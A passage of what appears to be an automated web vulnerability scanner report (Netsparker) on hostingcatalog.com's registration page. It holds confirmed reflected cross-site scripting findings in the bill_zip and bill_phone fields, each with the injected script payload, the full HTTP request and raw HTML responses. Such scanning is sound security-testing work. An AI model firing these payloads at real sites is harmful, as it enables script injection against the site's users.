function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C2892939615BE0EAFB7DBB7567C2BB7DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C2892939615BE0EAF57B506A81334B9E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C2892939615BE0EA071B712A0CD106C3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C2892939615BE0EAD89F77BDB4668E76C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C2892939615BE0EA8825CA20AC0E82846F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C2892939615BE0EA0EFE54962122932AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C2892939615BE0EAB4F7174338E3AF39C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C2892939615BE0EAD58C10A0E58281376F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C2892939615BE0EA34DD1066F80C62A3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C2892939615BE0EA3E46DEEB1AB3F1726F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C2892939615BE0EAB88F0E6AD77F1D3CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C2892939615BE0EA50E87014FDAE83F7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C2892939615BE0EAA1E203343FD0049AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C2892939615BE0EA871E9B5A080D1519C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C2892939615BE0EA16DABD31A374803EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C2892939615BE0EAECAEFD32FDEBB51CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C2892939615BE0EA44F4D250C9A348E16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C2892939615BE0EA90FEAD771EE343F26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C2892939615BE0EA9828B6B0B51658A96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST '"--></style></script><script>alert(0x001EA0)</script>
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EA0)%3c%2fscript%3e&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:40:08 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C2892939615BE0EA9051F459C28FD11CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C2892939615BE0EA6D5D5798929E22E36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C2892939615BE0EABA1B4E07A607C3E1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C2892939615BE0EA23C0458490A79C91C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C2892939615BE0EADEB869681A5841F86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C2892939615BE0EAF398204B9D06CF67C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C2892939615BE0EAAFD50822A372F90BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C2892939615BE0EA678A01A64D3A3B006F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C2892939615BE0EAC17AE949619D68CCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C2892939615BE0EA06CB50EA9E8D8F2C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C2892939615BE0EA44D9DFC1EF4B5D35C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C2892939615BE0EA792DB661CD15B20DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C2892939615BE0EA5E217E07326D49D4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C2892939615BE0EADE756CAA7B30BB84C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C2892939615BE0EAD282F776B0BA7595C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C2892939615BE0EA3537F8BE4E42A806C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C2892939615BE0EAFD83F50B59FC13BA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C2892939615BE0EAC19D189CFAB7227C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C2892939615BE0EA67D8597B2222B7436F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST '"--></style></script><script>alert(0x001EB0)</script>

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EB0)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:40:20 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all 